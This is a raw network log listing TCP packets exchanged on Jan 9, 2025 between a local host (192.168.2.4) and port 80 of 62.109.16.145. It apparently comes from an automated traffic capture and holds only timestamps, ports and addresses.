Jan 9, 2025 04:15:26.480365038 CET	80	50245	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:26.480408907 CET	50245	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:26.481125116 CET	80	50246	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:26.481178999 CET	50246	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:26.481304884 CET	50246	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:26.486114979 CET	80	50246	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:26.825937033 CET	50246	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:26.830791950 CET	80	50246	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:27.177634001 CET	80	50246	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:27.217158079 CET	50247	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:27.220424891 CET	50246	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:27.222006083 CET	80	50247	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:27.223583937 CET	50247	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:27.223583937 CET	50247	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:27.225497007 CET	80	50246	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:27.228398085 CET	80	50247	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:27.228432894 CET	50246	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:27.352440119 CET	50248	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:27.357281923 CET	80	50248	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:27.357394934 CET	50248	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:27.357557058 CET	50248	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:27.362369061 CET	80	50248	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:27.580440044 CET	50247	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:27.585263968 CET	80	50247	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:27.585417032 CET	80	50247	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:27.718432903 CET	50248	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:27.723299980 CET	80	50248	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:27.946325064 CET	80	50247	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:27.997694969 CET	50247	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:28.072139025 CET	80	50248	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:28.076586962 CET	80	50247	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:28.122697115 CET	50247	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:28.122734070 CET	50248	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:28.203402042 CET	80	50248	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:28.247710943 CET	50248	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:28.325613976 CET	50247	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:28.325747013 CET	50248	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:28.326263905 CET	50249	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:28.330630064 CET	80	50247	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:28.330683947 CET	50247	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:28.330950975 CET	80	50248	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:28.331020117 CET	50248	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:28.331026077 CET	80	50249	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:28.331084967 CET	50249	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:28.331176996 CET	50249	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:28.335982084 CET	80	50249	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:28.685547113 CET	50249	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:28.690356016 CET	80	50249	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:29.019613028 CET	80	50249	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:29.078454018 CET	50249	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:29.153247118 CET	80	50249	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:29.156646013 CET	50249	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:29.161803961 CET	80	50249	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:29.162539959 CET	50249	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:29.275126934 CET	50250	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:29.279953957 CET	80	50250	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:29.280091047 CET	50250	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:29.280338049 CET	50250	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:29.285197973 CET	80	50250	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:29.639448881 CET	50250	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:29.644345045 CET	80	50250	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:29.999213934 CET	80	50250	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:30.044599056 CET	50250	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:30.129921913 CET	80	50250	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:30.185214043 CET	50250	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:30.247199059 CET	50250	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:30.247507095 CET	50251	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:30.252305984 CET	80	50251	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:30.252325058 CET	80	50250	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:30.252367973 CET	50251	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:30.252403975 CET	50250	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:30.252510071 CET	50251	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:30.257225990 CET	80	50251	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:30.607158899 CET	50251	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:30.612092018 CET	80	50251	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:30.993511915 CET	80	50251	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:31.047457933 CET	50251	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:31.123518944 CET	80	50251	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:31.169651031 CET	50251	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:31.243031979 CET	50251	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:31.243431091 CET	50252	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:31.248099089 CET	80	50251	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:31.248228073 CET	80	50252	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:31.248440027 CET	50252	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:31.248441935 CET	50251	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:31.248708963 CET	50252	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:31.253499031 CET	80	50252	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:31.608438015 CET	50252	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:31.613282919 CET	80	50252	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:31.946376085 CET	80	50252	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:31.997709990 CET	50252	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:32.077876091 CET	80	50252	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:32.122710943 CET	50252	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:32.199132919 CET	50252	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:32.199397087 CET	50253	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:32.204169989 CET	80	50252	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:32.204221964 CET	50252	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:32.204277039 CET	80	50253	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:32.204338074 CET	50253	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:32.204431057 CET	50253	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:32.209172964 CET	80	50253	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:32.560581923 CET	50253	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:32.565485954 CET	80	50253	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:32.910057068 CET	80	50253	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:32.950846910 CET	50253	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:33.043544054 CET	80	50253	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:33.092283010 CET	50253	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:33.092283010 CET	50253	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:33.092284918 CET	50254	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:33.097172976 CET	80	50254	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:33.097438097 CET	80	50253	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:33.098669052 CET	50253	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:33.098671913 CET	50254	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:33.098731995 CET	50254	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:33.103552103 CET	80	50254	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:33.164666891 CET	50255	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:33.164669037 CET	50254	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:33.169560909 CET	80	50255	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:33.169754982 CET	50255	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:33.169819117 CET	50255	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:33.174618006 CET	80	50255	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:33.211007118 CET	80	50254	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:33.529349089 CET	50255	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:33.534141064 CET	80	50255	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:33.592897892 CET	80	50254	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:33.593014002 CET	50254	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:33.867706060 CET	80	50255	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:33.922538996 CET	50255	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:33.992716074 CET	50209	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:33.995986938 CET	50255	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:33.996187925 CET	50256	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:34.001281977 CET	80	50255	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:34.001295090 CET	80	50256	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:34.001331091 CET	50255	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:34.001360893 CET	50256	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:34.001460075 CET	50256	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:34.006231070 CET	80	50256	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:34.357153893 CET	50256	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:34.362090111 CET	80	50256	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:34.691411018 CET	80	50256	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:34.732091904 CET	50256	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:34.825731039 CET	80	50256	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:34.825984955 CET	50256	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:34.830982924 CET	80	50256	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:34.831032038 CET	50256	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:34.946432114 CET	50257	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:34.951327085 CET	80	50257	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:34.951395988 CET	50257	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:34.951596022 CET	50257	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:34.956442118 CET	80	50257	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:35.310297012 CET	50257	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:35.315212965 CET	80	50257	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:35.675915956 CET	80	50257	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:35.716561079 CET	50257	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:35.814647913 CET	80	50257	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:35.860457897 CET	50257	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:35.932452917 CET	50258	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:35.932492018 CET	50257	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:35.937370062 CET	80	50258	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:35.937676907 CET	80	50257	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:35.940637112 CET	50258	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:35.940638065 CET	50257	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:35.944451094 CET	50258	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:35.949259996 CET	80	50258	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:36.298485994 CET	50258	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:36.303332090 CET	80	50258	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:36.635072947 CET	80	50258	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:36.681715012 CET	50258	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:36.764801025 CET	80	50258	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:36.888916969 CET	50258	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:36.889379978 CET	50259	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:36.894093037 CET	80	50258	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:36.894140959 CET	50258	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:36.894193888 CET	80	50259	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:36.894249916 CET	50259	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:36.894500971 CET	50259	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:36.899250984 CET	80	50259	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:37.247844934 CET	50259	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:37.252701998 CET	80	50259	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:37.584433079 CET	80	50259	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:37.638349056 CET	50259	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:37.713814974 CET	80	50259	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:37.763354063 CET	50259	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:37.837276936 CET	50260	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:37.837299109 CET	50259	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:37.842168093 CET	80	50260	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:37.842240095 CET	50260	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:37.842418909 CET	50260	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:37.842422009 CET	80	50259	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:37.842483044 CET	50259	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:37.847178936 CET	80	50260	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:38.170775890 CET	50260	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:38.171338081 CET	50261	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:38.176182032 CET	80	50261	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:38.176244020 CET	50261	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:38.176371098 CET	50261	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:38.181196928 CET	80	50261	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:38.219039917 CET	80	50260	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:38.292157888 CET	50262	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:38.297039986 CET	80	50262	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:38.297102928 CET	50262	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:38.297230005 CET	50262	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:38.302042961 CET	80	50262	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:38.316812992 CET	80	50260	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:38.316854954 CET	50260	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:38.529050112 CET	50261	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:38.533927917 CET	80	50261	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:38.533977032 CET	80	50261	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:38.654182911 CET	50262	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:38.659094095 CET	80	50262	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:38.883737087 CET	80	50261	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:38.935250044 CET	50261	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:38.987492085 CET	80	50262	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:39.006062031 CET	80	50261	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:39.032469034 CET	50262	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:39.060463905 CET	50261	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:39.121952057 CET	80	50262	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:39.172460079 CET	50262	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:39.306548119 CET	50261	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:39.306548119 CET	50262	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:39.306902885 CET	50263	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:39.311611891 CET	80	50261	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:39.311682940 CET	80	50263	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:39.311714888 CET	50261	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:39.311863899 CET	50263	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:39.311944962 CET	50263	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:39.311944962 CET	80	50262	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:39.312536001 CET	50262	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:39.316734076 CET	80	50263	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:39.672463894 CET	50263	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:39.677328110 CET	80	50263	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:40.008312941 CET	80	50263	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:40.082984924 CET	50263	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:40.141510963 CET	80	50263	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:40.185236931 CET	50263	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:40.260216951 CET	50264	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:40.267105103 CET	80	50264	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:40.267164946 CET	50264	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:40.267301083 CET	50264	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:40.273947954 CET	80	50264	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:40.622957945 CET	50264	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:40.628585100 CET	80	50264	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:40.963886976 CET	80	50264	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:41.013367891 CET	50264	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:41.094285011 CET	80	50264	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:41.140465021 CET	50264	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:41.207413912 CET	50263	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:41.211488008 CET	50264	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:41.212480068 CET	50265	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:41.221775055 CET	80	50264	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:41.221895933 CET	50264	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:41.222531080 CET	80	50265	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:41.222681046 CET	50265	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:41.222783089 CET	50265	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:41.227657080 CET	80	50265	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:41.576469898 CET	50265	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:41.581451893 CET	80	50265	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:41.932095051 CET	80	50265	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:42.065644979 CET	80	50265	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:42.065813065 CET	50265	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:42.322778940 CET	50265	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:42.323210001 CET	50266	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:42.327954054 CET	80	50265	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:42.328003883 CET	80	50266	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:42.328025103 CET	50265	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:42.328063011 CET	50266	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:42.330966949 CET	50266	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:42.335788965 CET	80	50266	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:42.685334921 CET	50266	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:42.692648888 CET	80	50266	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:43.041997910 CET	80	50266	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:43.171808958 CET	80	50266	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:43.172547102 CET	50266	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:43.289450884 CET	50266	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:43.292470932 CET	50267	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:43.294588089 CET	80	50266	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:43.294785976 CET	50266	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:43.297308922 CET	80	50267	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:43.300543070 CET	50267	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:43.304471016 CET	50267	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:43.309389114 CET	80	50267	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:43.654222965 CET	50267	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:43.659563065 CET	80	50267	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:44.002876043 CET	80	50267	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:44.044644117 CET	50267	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:44.076961994 CET	50267	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:44.076965094 CET	50268	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:44.081818104 CET	80	50268	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:44.081872940 CET	50268	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:44.081969023 CET	50268	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:44.082165956 CET	80	50267	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:44.082231998 CET	50267	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:44.086823940 CET	80	50268	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:44.202683926 CET	50269	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:44.207577944 CET	80	50269	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:44.207643986 CET	50269	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:44.207746029 CET	50269	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:44.212600946 CET	80	50269	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:44.435384035 CET	50268	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:44.440308094 CET	80	50268	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:44.440498114 CET	80	50268	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:44.560369015 CET	50269	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:44.565253973 CET	80	50269	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:44.792727947 CET	80	50268	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:44.888391972 CET	50268	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:44.906650066 CET	80	50269	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:44.921349049 CET	80	50268	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:44.954452038 CET	50269	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:45.047935009 CET	80	50269	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:45.076477051 CET	50268	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:45.092443943 CET	50269	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:45.166440964 CET	50268	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:45.166493893 CET	50269	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:45.166928053 CET	50270	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:45.171479940 CET	80	50268	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:45.171721935 CET	80	50270	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:45.171806097 CET	50268	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:45.171821117 CET	80	50269	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:45.171849012 CET	50270	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:45.171891928 CET	50269	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:45.172137022 CET	50270	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:45.176928043 CET	80	50270	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:45.529222965 CET	50270	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:45.534132004 CET	80	50270	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:45.911160946 CET	80	50270	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:45.966521025 CET	50270	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:46.050019979 CET	80	50270	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:46.091510057 CET	50270	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:46.170263052 CET	50271	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:46.175080061 CET	80	50271	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:46.175144911 CET	50271	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:46.175299883 CET	50271	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:46.180102110 CET	80	50271	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:46.529097080 CET	50271	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:46.533965111 CET	80	50271	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:46.873893023 CET	80	50271	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:46.948703051 CET	50271	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:47.003890038 CET	80	50271	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:47.075900078 CET	50271	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:47.118793011 CET	50271	80	192.168.2.4	62.109.16.145
